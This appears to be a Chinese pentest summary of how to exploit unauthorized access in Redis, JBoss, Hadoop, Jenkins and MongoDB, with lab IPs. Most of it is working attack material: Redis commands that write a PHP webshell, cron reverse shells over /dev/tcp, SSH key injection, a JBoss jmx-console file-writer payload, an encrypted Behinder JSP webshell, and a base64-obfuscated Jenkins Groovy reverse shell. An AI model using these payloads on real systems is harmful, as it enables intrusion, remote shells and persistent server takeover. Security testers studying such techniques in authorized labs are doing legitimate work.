0x00 前言最近测试过程遇到了一些未授权访问的漏洞,就做了一些总结,以后遇到了,可以进行直接参考。 0x01 redis未授权访问靶机地址:192.168.160.128 靶机路径:/var/www/html 判断未授权漏洞存在,如下图: 1.1 漏洞检测https://github.com/code-scan/rescan 。执行结果: 1.2 漏洞利用1.2.1 利用redis写webshell利用条件: 1.靶机redis链接未授权,在攻击机上能用redis-cli连上2.开了web服务器,并且知道路径(如利用phpinfo,或者错误爆路经),还需要具有文件读写增删改查权限 依次执行命令如下: 192.168.160.128:6379> config set dir /var/www/html OK 192.168.160.128:6379> config set dbfilename shell.php OK 192.168.160.128:6379> set webshell '\n\n\n<?php @eval($_POST['shell']);?>\n\n\n' OK 192.168.160.128:6379> save OK 第三步写入 连接 1.2.2 利用crontab反弹shell利用条件:目标redis运行在centos且以root权限启动靶机地址:192.168.160.146攻击机地址:192.168.160.128 先在攻击机开启监听: redis-cli -h 192.168.160.146 config set dir /var/spool/cron config set dbfilename root set ceshi '\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.160.128/4444 0>&1\n\n' save 成功收到
执行该脚本,然后 最后成功监听到: 计划任务文件: 注:若以 kali config set dir /var/spool/cron/crontabs //kali里的计划任务目录是/var/spool/cron/crontabs set ceshi '\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.160.128/4444 0>&1\n\n'
出现这个问题的原因是linux的cron中执行命令的shell环境是bin/sh。但是ubuntu和kali里的bin/sh指向的dash。而dash这个shell只有运行脚本的能力,没有交互能力。 这里可以查看一下 cd /bin & ls -l | grep -w 'sh'
如果想通过计划任务反弹 https://www.dazhuanlan.com/2019/11/15/5dce507a41df5/ 1.2.3 利用公私钥认证获取root权限利用条件:靶机为linux 靶机:192.168.160.146 依次在攻击机上执行: ssh-keygen -t rsa //在攻击机上生成ssh公钥和私钥,密码设置为空cd /root/.ssh(echo -e '\n\n'; cat id_rsa.pub; echo -e '\n\n') > 1.txt //将生成的公钥报存为1.txt 然后依次执行: cat 1.txt | redis-cli -h 192.168.160.146 -x set crack //将保存的ssh公钥写入redis redis-cli -h 192.168.16.146 //登录redis服务 CONFIG GET dir //查看redis备份的路径 config set dir /root/.ssh //修改redis的备份路径为ssh公钥存放目录 CONFIG SET dbfilename authorized_keys //设置上传公钥的备份文件名字为authorized_keys CONFIG GET dbfilename //检查是否更改成功 save ssh -i id_rsa root@192.168.160.146yes 成功登录系统: 1.2.4 主从复制RCE在redis4.x之后,redis增加了模块功能,通过外部拓展,可以实现在redis中实现一个新的redis命令,通过c语言编译并加载恶意的.so文件,达到代码执行的目的。 适用版本: 脚本使用: python3 redis-rogue-server.py --rhost 192.168.160.146 --lhost 192.168.160.1 https://www.jianshu.com/p/77052b00700c https://www.cnblogs.com/bmjoker/p/9548962.html 如果是 https://xz.aliyun.com/t/7940https://xz.aliyun.com/t/8153 0x02 Jboss未授权访问漏洞环境: 2.1 漏洞检测检测脚本 2.2 漏洞利用2.2.1 写入木马首先访问: http://192.168.160.1/jmx-console//HtmlAdaptor?action=invokeOpByName&name=jboss.admin%3Aservice%3DDeploymentFileRepository&methodName=store&argType=java.lang.String&arg0=August.war&argType=java.lang.String&&arg1=shell&argType=java.lang.String&arg2=.jsp&argType=java.lang.String&arg3=%3c%25 if(request.getParameter(%22f%22)!%3dnull)(new java.io.FileOutputStream(application.getRealPath(%22%2f%22)%2brequest.getParameter(%22f%22))).write(request.getParameter(%22t%22).getBytes())%3b %25%3e&argType=boolean&arg4=True 提取相关参数: arg0:August.war //war包名称arg1:shell //文件名称arg2:.jsp //文件后缀名arg3:<% if(request.getParameter('f')!=null)(new java.io.FileOutputStream(application.getRealPath('/') request.getParameter('f'))).write(request.getParameter('t').getBytes()); %>//f=文件名,t=文件内容 执行成功: 创建文件并访问: http://192.168.160.1/August/shell.jsp?f=2.txt&t=123 http://192.168.160.1/August/2.txt 2.2.2 远程部署war包首先制作 然后部署在自己的服务器上。 在jmx-console搜索deployment,进入DeploymentScanner。 在addURL()的ParamValue上填写服务器上的war包地址。执行 执行成功。 返回到刚进入jmx-console的页面,找到jboss.web.deployment,如下说明部署成功。 访问木马地址,上传成功。 2.2.3 本地上传war包2此处利用 进入该类后,修改 然后到 p1:jmx-consolep2:ceship3:.jspp4:<%@page import='java.util.*,javax.crypto.*,javax.crypto.spec.*'%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals('POST')){String k='e45e329feb5d925b';/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue('u',k);Cipher c=Cipher.getInstance('AES');c.init(2,new SecretKeySpec(k.getBytes(),'AES'));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>
尝试访问 冰蝎连上,成功。 2.3 漏洞利用脚本利用脚本 python2 jexboss.py -host http://ip 参考: https://www.cnblogs.com/rnss/p/13377321.htmlhttps://www.cnblogs.com/Hack-Devil/p/13741604.html 0x03 MongoDB未授权访问3.1 漏洞检测通过数据库工具进行连接。 0x04 hadoop未授权访问4.1 漏洞利用靶机:127.0.0.1:8088 vulhub的hadoop的环境 访问8088页面,可以直接看到
执行如下命令: nc -lvp 4444 python exp.py 成功: 0x05 jenkinis未授权访问5.1 漏洞检测访问 5.2 漏洞利用靶机:192.168.160.145:8080 访问 有可写权限的情况下,可以利用脚本向网站路径写 new File ('/var/www/html/shell.php').write('<?php phpinfo(); ?>'); 如果权限不够报错。靶机是 靶机修改一下用户,用 进行反弹 println 'bash -c {echo,YmFzaCAtaSA JiAvZGV2L3RjcC8xOTIuMTY4LjE2MC4xLzQ0NDQgMD4mMQo=}|{base64,-d}|{bash,-i}'.execute().text 成功反弹。 0x06 总结本篇文章对常见场景下的未授权访问漏洞的检测和利用进行了总结,主要是为了方便后续测试遇到时的利用,后续希望研究一下某些特定场景下该怎么利用。 |
|
来自: 新用户36657816 > 《待分类》